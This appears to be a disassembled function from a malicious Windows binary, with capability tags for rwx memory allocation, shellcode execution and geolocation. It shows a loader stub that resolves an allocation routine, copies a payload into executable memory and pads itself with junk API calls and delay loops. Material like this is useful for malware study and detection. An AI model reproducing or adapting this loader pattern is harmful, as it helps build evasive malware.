Function at 0x404d18
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10ec
call fcn.00414fa0
push ebx
push esi
xor esi, esi
cmp dword [0x4e1d28], 0x5b1
push edi
jne 0x404dbd
push esi
lea eax, [ebp - 0x8e8]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push 0x403698
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea eax, [ebp - 0x60]
push eax
push 0x4036b8
push esi
call dword [sym.imp.USER32.dll_GetClassInfoExW]
push esi
push esi
lea eax, [ebp - 0x4e8]
push eax
push esi
push esi
call sub.USER32.dll_DdeQueryStringA
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push esi
call fcn.00406e94
pop ecx
lea ecx, [ebp - 0xc]
call fcn.0040420c
lea ecx, [ebp - 0xc]
call fcn.00404225
push esi
call fcn.00407191
pop ecx
lea eax, [ebp - 0xe8]
push eax
call fcn.00405354
lea eax, [ebp - 0xe8]
call fcn.00404f95
add dword [0x4e1d28], 0x1134b
push 0x4036e8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x403704
push eax
mov dword [0x4e0c7c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40
push 0x1000
push dword [0x4e1d28]
mov dword [0x4e0c74], eax
push esi
call eax
xor edi, edi
mov dword [0x4e0c78], eax
cmp dword [0x4e1d28], esi
jbe 0x404e3c
cmp dword [0x4e1d28], 0xa8
mov eax, dword [0x4e1d2c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4e0c78]
mov byte [ecx + edi], al
jne 0x404e33
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
inc edi
cmp edi, dword [0x4e1d28]
jb 0x404e07
xor ebx, ebx
mov eax, dword [0x4e1d28]
add eax, ebx
cmp eax, 0xe
jne 0x404ee1
push esi
lea eax, [ebp - 0x4e8]
push eax
push 0x403714
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
xor eax, eax
mov word [ebp - 0x20], ax
lea edi, [ebp - 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
xor eax, eax
mov word [ebp - 0x30], ax
lea edi, [ebp - 0x2e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [ebp - 0x10e8]
push eax
push 0x403730
lea eax, [ebp - 0x30]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push esi
push esi
lea eax, [ebp - 0x8e8]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
push esi
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0x40376c
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc ebx
cmp ebx, 0x4fe161
jl 0x404e3e
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
call edi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleProcessList]
cmp ebx, 0x206d47
jg 0x404f11
inc ebx
cmp ebx, 0x4f6a4
jl 0x404ef6
mov ebx, 0x4e320c
push esi
push esi
call dword [sym.imp.USER32.dll_LoadMenuA]
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_CharToOemBuffA]
call dword [sym.imp.USER32.dll_GetMessageExtraInfo]
dec ebx
jne 0x404f16
call fcn.00404c85
call edi
cmp ebx, 0x26
jne 0x404f41
call fcn.00404cfe
inc ebx
cmp ebx, 0x6753f
jl 0x404f35
push 0x7b
pop edi
cmp dword [0x4e1d28], 0x86
jne 0x404f82
push esi
lea eax, [ebp - 0x4e8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push esi
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByte]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesA]
dec edi
jne 0x404f4d
push 0x403790
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop edi
pop esi
pop ebx
leave
ret